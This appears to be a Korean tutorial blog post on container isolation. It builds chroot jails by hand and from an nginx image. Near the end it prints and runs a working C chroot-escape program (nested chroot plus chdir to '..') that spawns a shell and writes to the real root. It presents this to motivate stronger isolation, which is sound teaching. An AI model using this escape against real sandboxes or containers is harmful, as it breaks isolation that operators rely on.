컨테이너란 Host OS로부터 격리된 환경에서 실행되는 프로세스 그룹이다.
Host OS 커널을 공유하며 컨테이너가 동작하기 때문에 Host OS로부터 컨테이너가 완전히 독립적일 수는 없지만 격리된 공간에서 어플리케이션 동작에 필요한 프로세스만을 묶어서 실행시킬 수 있다.
Process란?
프로그램을 실행하면 메모리(RAM)과 같은 주기억장치로 옮겨오면서 CPU의 자원을 할당받아 실행 중인 프로그램.
출처 : process란
컨테이너 개념의 시작은 1979년에 chroot를 이용해 파일시스템의 격리가 가능해지면서부터이며 이후 여러 발전을 거쳐 현재의 Docker, Kubernetes 등 까지 이어지게 되었다.
컨테이너의 역사 이미지리눅스 파일시스템은 root로부터 파일시스템이 시작된다.
chroot를 통해 특정 디렉토리 경로를 root로 지정하여 환경을 분리할 수 있으며, 상위 디렉토리에 프로세스가 접근할 수 없도록 설정함으로써 해당 경로에 프로세스를 격리시킬 수 있다.
root 하위에 새로운 폴더를 생성하여 격리 공간을 만들어 보겠다.
man chroot
로 매뉴얼을 보면 다음과 같이 새로운 경로를 인자로 받아 시행하는 명령어임을 알 수 있다.
CHROOT(8) User Commands CHROOT(8)
NAME
chroot - run command or interactive shell with special root directory
SYNOPSIS
chroot [OPTION] NEWROOT [COMMAND [ARG]...]
chroot OPTION
격리 공간으로 사용할 새로운 폴더를 생성한다.
# cd /
# mkdir jail
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory
새로운 경로에 /bin/bash가 없어서 생기는 일로, 기존 루트의 /bin/bash를 새로운 경로로 복사를 해줘야 한다.
# which bash
/bin/bash
# mkdir -p /jail/bin
# cp /bin/bash /jail/bin/
<# chroot jail /bin/bash
chroot: failed to run command ‘/bin/bash’: No such file or directory
이 때 생각해야하는 것이 /bin/bash가 참조해야하는 라이브러리이다.
/bin/bash가 참조하는 라이브러리는 ldd
명령어로 확인할 수 있다.
# man ldd
ldd - print shared object dependencies
# ldd /bin/bash
linux-vdso.so.1 (0x00007ffd63f4e000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f9298ce8000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f9298ce2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9298af0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9298e4d000)
이 라이브러리들을 격리공간에 복사해야 커맨드 창을 확인할 수 있다.
# mkdir -p /jail/lib/
# cp /lib/x86_64-linux-gnu/libtinfo.so.6 /jail/lib
# cp /lib/x86_64-linux-gnu/libdl.so.2 /jail/lib
# cp /lib/x86_64-linux-gnu/libc.so.6 /jail/lib
# mkdir -p /jail/lib64/
# cp /lib64/ld-linux-x86-64.so.2 /jail/lib64
이제 다시 bash로 접근을 해보면 잘 접속되는 것을 확인할 수 있다.
# chroot jail /bin/bash
bash-5.0#
새로운 root를 빠져나가려고 해봐도 exit를 치기 전에는 빠져나가지 못한다.
bash-5.0# cd ..
bash-5.0# pwd
/
bash-5.0# cd ..
bash-5.0# pwd
/
끝!
이면 좋겠지만 과연 새로운 root 밑에 무엇이 있을까? 라는 궁금증에 ls
명령어를 쳐보면
bash-5.0# ls
bash: ls: command not found
💥ls
명령어를 찾을 수 없다는 에러가 뜬다.
사용하고 싶은 명령어 또한 /bin/bash와 마찬가지로 참조 라이브러리를 일일히 추가해주어야 한다.
bash-5.0# exit
exit
# which ls
/bin/ls
# ldd /bin/ls
linux-vdso.so.1 (0x00007ffc2c1e5000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fbd3f948000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbd3f756000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fbd3f6c6000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbd3f6c0000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbd3f9a1000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbd3f69d000)
# cp /bin/ls /jail/bin/
# cp /lib/x86_64-linux-gnu/libselinux.so.1 /jail/lib
...(이하 생략)
복사를 한 후 확인을 해보면 ls 명령어가 잘 작동됨을 확인할 수 있다.
# chroot jail /bin/bash
bash-5.0# ls
bin lib lib64
이러한 방식으로 사용하고 싶은 명령어들을 복사하여 격리 환경을 만들 수 있다.
사용하고 싶은 명령어를 하나하나 손수 복사하는 방법 말고도 이미지를 이용하여 한번에 환경을 생성하는 방법을 사용할 수 있다.
# cd /
# mkdir jail2
# docker export $(docker create nginx:latest) | tar -C jail2 -xvf -
# chroot jail2 /bin/sh
--접속--
#
# ls
bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var
boot docker-entrypoint.d etc lib media opt root sbin sys usr
새로운 root에서 nginx를 daemon off
를 이용해 foreground로 실행시킨 후 curl localhost
를 실행시켜보자
--새로운 root jail2--
# nginx -g "daemon off"
--root(새 터미널로 접속)--
# curl localhost
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
...
이렇게 만든 격리 환경에는 큰 문제점이 있다.
바로 격리 환경 탈옥이 가능하다는 것이다.
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
mkdir(".out",0755);
chroot(".out");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh","-i",NULL);
}
해당 코드는 다음을 수행하게 된다.
- mkdir을 이용하여 chroot() 로 생성한 격리된 공간(현재 작업 디렉토리)에 임시 디렉토리를 생성한다.
- chroot를 이용하여 격리된 공간의 루트 디렉토리를 1에서 생성한 임시 디렉토리로 변경한다.
- chdir("../../../../../")을 이용하여 현재 작업 디렉토리를 chroot 환경 외부에 있는 실제 루트 디렉토리로 이동한다.
- chroot(".") 명령어로 격리된 공간의 루트 디렉토리를 현재 작업 디렉토리인 실제 루트 디렉토리로 변경한다.
- /bin/sh를 실행시켜 쉘스크립트를 실행시킨다.
코드를 실행시켜 탈옥을 확인해보자
# vi excape_chroot.c -> 위 탈옥 코드 입력
# gcc -o jail2/escape_chroot escape_chroot.c -> 탈옥 코드 컴파일 후 새로운 경로에 복사
# chroot jail2 /bin/sh -> 새로운 경로를 root로 스크립트 실행
# ls
bin docker-entrypoint.d etc lib64 opt run sys var
boot docker-entrypoint.sh home media proc sbin tmp
dev escape_chroot lib mnt root srv usr
# ./excape_chroot -> 코드 실행
# ls -> 탈옥을 확인
bin escape_chroot.c jail2 lib64 media proc sbin sys var
boot etc lib libx32 mnt root snap tmp
dev home lib32 lost+found opt run srv usr
파일을 생성해서 실제 root를 read|write 할 수 있는지 확인해보자.
# touch realout
# ls
bin escape_chroot.c jail2 lib64 media proc run srv usr
boot etc lib libx32 mnt realout sbin sys var
dev home lib32 lost+found opt root snap tmp
# exit
# exit
root@ubuntu-focal:/# ls
bin escape_chroot.c jail2 lib64 media proc run srv usr
boot etc lib libx32 mnt realout sbin sys var
dev home lib32 lost+found opt root snap tmp
chroot로 만든 격리 공간을 탈옥하여 read|write까지 가능한 것을 확인할 수 있다.
다음 글에서는 탈옥이 불가능하도록 설정하는 방법에 대해 작성하겠다.(pivot-root + namespace)